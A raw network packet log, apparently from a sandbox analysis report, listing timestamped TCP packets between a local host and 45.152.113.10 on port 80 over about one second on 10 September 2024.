Sep 10, 2024 19:36:09.845459938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845479012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845482111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845489979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845491886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845500946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845511913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845524073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845539093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845549107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845565081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845577002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845608950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849584103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849685907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849697113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849709034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849719048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849730015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849736929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849740982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849780083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849805117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849859953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849870920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849881887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849891901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849900961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849906921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849912882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849925995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849936008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849936962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849956989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849972010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849982977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849992990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.849992990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.849992990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850003958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850013018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850013971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850025892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850033998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850035906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850048065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850058079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850059986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850068092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850073099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850079060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850089073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850096941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850100994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850116968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850135088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850182056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850200891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850209951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850219965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850225925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850229979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850244045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850254059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850258112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850265026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850275993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850286007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850290060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850296974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850297928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850306988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850317955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850321054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850328922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850338936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850342035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850359917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850375891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850411892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850423098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850431919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850442886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850452900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850455999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850462914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850476980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850486040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850488901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850501060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850509882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850509882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850519896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850521088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850550890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850568056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850580931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850591898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850601912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850613117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850624084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850624084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.850636005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.850665092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930372000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930386066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930399895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930408001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930418968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930428982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930440903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930450916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930466890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930481911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930507898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930519104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930530071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930530071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930557966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930567980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930583954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930596113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930605888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930617094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930625916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930640936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930650949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930664062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930731058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930742025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930752039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930762053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930773020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930775881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930783033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930793047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930803061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930818081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930818081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930838108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930849075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930860043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930870056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930871964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930901051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930901051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930926085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930938005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930948973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930958986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930969000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930972099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.930979967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.930999994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931005955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931027889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931051016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931061983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931077957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931087971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931098938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931108952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931133986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931138992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931138992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931138992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931143999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931201935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931201935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931202888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931212902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931253910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931266069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931281090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931291103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931301117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931310892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931320906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931330919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931345940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931531906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931543112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931554079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931576967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931602001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931612968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931622982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931638956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931648970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931653976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931658983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931663036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931668997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931687117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931710958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931732893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931742907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931756020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931772947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931772947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931790113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931799889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.931802034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931823969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.931843996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.935832024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935842991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935853004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935897112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.935919046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935930967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935939074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935947895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935957909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.935973883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.935973883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.935973883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936002016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936012983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936033964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936043024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936057091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936085939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936113119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936122894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936131001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936147928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936156988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936166048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936167955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936167955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936177015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936198950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936203003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936212063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936220884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936225891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936230898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936237097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936254025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936265945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936288118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936299086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936315060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936338902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936348915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936357975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936367035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936383009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936408043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936435938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936449051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936458111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936465979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936475039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936482906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936491966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936501026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936502934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936502934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936510086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936528921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936542034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936562061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936568022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936578035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936585903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936594963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936609030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936624050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936651945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936690092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936700106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936707973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936717987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936727047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936736107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936736107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936744928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936754942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936758041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936764002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936773062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936777115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936784029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936794996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936811924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936851025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936861038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936871052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936880112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936889887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936889887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936891079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936901093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936908007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936912060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936935902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936942101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936952114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.936955929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.936985970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.937010050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.016846895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016860962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016872883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016882896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016891003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016900063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016910076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016918898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016927958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016936064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016937017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.016946077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016956091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.016958952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.016978025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017013073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017013073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017045021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017055035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017066002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017072916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017081976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017088890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017091990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017111063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017111063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017132044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.017148972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017159939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.017168999 CEST	80	49707	45.152.113.10	192.168.2.5
